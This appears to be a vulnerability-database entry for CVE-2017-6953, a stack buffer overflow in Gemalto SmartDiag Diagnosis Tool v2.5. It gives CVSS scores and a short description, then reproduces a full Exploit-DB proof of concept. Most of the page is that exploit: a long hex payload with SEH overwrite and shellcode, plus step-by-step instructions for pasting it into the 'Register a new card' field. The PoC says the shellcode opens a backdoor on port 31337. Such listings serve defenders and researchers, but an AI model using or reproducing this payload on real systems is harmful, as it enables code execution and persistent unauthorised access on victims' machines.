CVE-2017-6953

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Published 2017-05-08 · Modified 2026-05-13

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CVSS v3

7.8

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

8.8

Description

Gemalto SmartDiag Diagnosis Tool v2.5 has a stack-based Buffer Overflow with SEH Overwrite via long "Register a new card" input fields. There may be a risk of local code execution with untrusted input to SmartDiag.exe or SymDiag.exe.

Predictions

Exploit likelihood

75%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41972 local windows verified text · 6 KB

Majid Alqabandi · 2017-05-08

Gemalto SmartDiag Diagnosis Tool < 2.5 - Local Buffer Overflow (SEH)

text exploit Source: Exploit-DB

# Exploit Title: Gemalto SmartDiag Diagnosis Tool <= v2.5 - Buffer Overflow
- SEH Overwrite
# Date: 16-03-2017
# Software Link: http://support.gemalto.com/index.php?id=download_tools
# Exploit Author: Majid Alqabandi
# Contact: https://www.linkedin.com/in/majidalqabandi/
# CVE: CVE-2017-6953
# Category: Local - command execution - Buffer Overflow - SEH Overwrite.
# Vendor notified: 17-04-2016

1. Description
SymDiag.exe is vulnerable to buffer overflow, SEH overwrite.
When trying to (Register a new card), Input fields are vulnerable to stack
overflow attack which leads to code execution and other possible security
threats.



2. Proof of Concept

The following PoC is provided code will:
- Exploit the vulnerability.
- Execute shell code.
- Create a backdoor on port 31337.

To exploit, start SmartDiag.exe tool, choose "Register a new card", on the
ATR use the following payload (Tested on Win7x64 & Win8x64 - SmartDiag
v2.5):

528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
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528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
528340005283400052834000528340005283400052834000528340005283
400052834000528340005283400052834000528340005283400052834000
52834000528340005283400052834000572b0410477f40008c214100f494
400041ed40003b4140003552011078ab0110010000009cf2021000100000
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0358d0489c7630055f87c076e962f1a48de7a378c5aa4ff28b5ec4760450
6d3c725f6ef0ba33ac92464ee0747681f575bffcf524688aa7d81dce7bd8
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ac6d3c74c78ab57b081b8d5f8c4756c1952d39fec68ae65a8c39f3ddcf55
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f46325c87d61614e6e1bfa3b9088fb69AAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



3. Solution:
Vendor has been informed and confirmed the issue, no fix is available yet
from vendor.

Application impact

Vendor	Product	Versions	Fixed
gemalto	smartdiag_diagnosis_tool	`{"endIncluding":"2.5"}`

References

CWEs

CWE-119

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